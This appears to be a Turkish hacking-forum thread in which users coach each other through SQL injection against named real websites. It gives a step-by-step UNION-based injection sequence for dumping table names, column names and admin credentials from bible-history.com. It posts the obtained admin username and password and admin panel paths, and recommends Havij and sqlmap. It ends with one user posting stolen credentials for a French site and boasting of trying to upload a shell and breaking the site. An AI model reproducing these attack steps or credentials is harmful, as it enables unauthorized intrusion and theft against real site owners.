sql injection ile ilgili

kusura bakmayın nereye açıcağımı bilemedim.sql ile ilgili sorum var.
http://www.bible-history.com/subcat.php?id=2
bu sitede ' koyuyorum hata veriyor fakat columları alamıyorum.order by 2-- yapıyorum Query failed : Unknown column '2' in 'order clause' hatası alıyorum order by 1-- yapınca site sayfası açılıyor bu 1 tane mi colum var demek anlamadım.union all select 1-- yapıyorum 1
Query failed1: The used SELECT statements have a different number of columns diyor yani column sayısı 1 değil yardıcmı olabilir misiniz?çok minnettar olurum.

 

Merhaba Havij Programını Kullan

Site Bilgileri Aşağıda Paneli Bul Gir.

Data Found: admin_id=1
Data Found: admin_username=jc
Data Found: admin_password=Mos3s

 

Merhaba Havij Programını Kullan

Site Bilgileri Aşağıda Paneli Bul Gir.

Data Found: admin_id=1
Data Found: admin_username=jc
Data Found: admin_password=Mos3s

havjiden admin paneli http://www.bible-history.com/admin1/ diyor ama 401 unauthorized diyor site.şu sql işini bi çözemedim gitti ya sqllemi gircez admin adı ve şifresini.hocam şifreyi falan nasıl buldunuz

 

Başka sitelere yönel Sql açığı öok olan bir açıktır.Ama Her açık Hacklencek diye bir şey yok

 

Başka sitelere yönel Sql açığı öok olan bir açıktır.Ama Her açık Hacklencek diye bir şey yok

peki admin adı ve şifresini nasıl buldunuz

 

Havij Programını Kullan Rahat Edersin biraz araştır.

 

Havij Programını Kullan Rahat Edersin biraz araştır.

yükledim havjiyi de tables gelmiyor sende nasıl geldi ki.

 

Dostum, sitede 1 tane column var onun uzerinden gideceksin.
http://www.bible-history.com/subcat...schema.tables+where+table_schema=database()--

tablo isimlerini bu sekilde aldiktan sonra orda "administrators" isminde bir tabloyla karsilasacaksin. Bunu bir yere not et. Ardindan,

http://www.bible-history.com/subcat...chema.columns+where+table_schema=database()--

column isimlerini bu sekilde aldiktan sonra orda da gozune "admin_username,admin_password" kisimlari carpacaktir. Onlardanda veriyi su sekilde cekeceksin:
http://www.bible-history.com/subcat...2722f3e,admin_password)+from+administrators--

 

Dostum, sitede 1 tane column var onun uzerinden gideceksin.
http://www.bible-history.com/subcat...schema.tables+where+table_schema=database()--

tablo isimlerini bu sekilde aldiktan sonra orda "administrators" isminde bir tabloyla karsilasacaksin. Bunu bir yere not et. Ardindan,

http://www.bible-history.com/subcat...chema.columns+where+table_schema=database()--

column isimlerini bu sekilde aldiktan sonra orda da gozune "admin_username,admin_password" kisimlari carpacaktir. Onlardanda veriyi su sekilde cekeceksin:
http://www.bible-history.com/subcat...2722f3e,admin_password)+from+administrators--

oo çok sağol benim çok ekmek yemem lazım

 

Havij Kullanımını youtubetan izle

 

Ayrica, havij degil sqlmap kullanirsan daha saglikli sonuclar alirsin

 

http://www.bible-history.com/admin1/admin.php

 

Dostum, sitede 1 tane column var onun uzerinden gideceksin.
http://www.bible-history.com/subcat...schema.tables+where+table_schema=database()--

tablo isimlerini bu sekilde aldiktan sonra orda "administrators" isminde bir tabloyla karsilasacaksin. Bunu bir yere not et. Ardindan,

http://www.bible-history.com/subcat...chema.columns+where+table_schema=database()--

column isimlerini bu sekilde aldiktan sonra orda da gozune "admin_username,admin_password" kisimlari carpacaktir. Onlardanda veriyi su sekilde cekeceksin:
http://www.bible-history.com/subcat...2722f3e,admin_password)+from+administrators--

bu siteyide yapabilirmisin? http://www.hebron.com/english/gallery.php?id=170'

 

hocam 0x3c6272202f3e3c62722f3e nerden çıktı açıklayabilirmisin?

<br /><br/> karakterinin hexlenmis hali

 

http://www.bible-history.com/admin1/admin.php

ad ve kullanıcı giriyorum jc Mos3s ama açmıyor neden acaba?admin panelini hangi programla buldun bu arada?

 

clarisses84:MTJibFqA
http://www.clarisses-montfavet.eu/admin.html
ilk hackimi yaptım hayırlı olsun index falan atamadım shell atmaya çalıştım batırdım siteyi
http://www.clarisses-montfavet.eu/page-base.php?page=8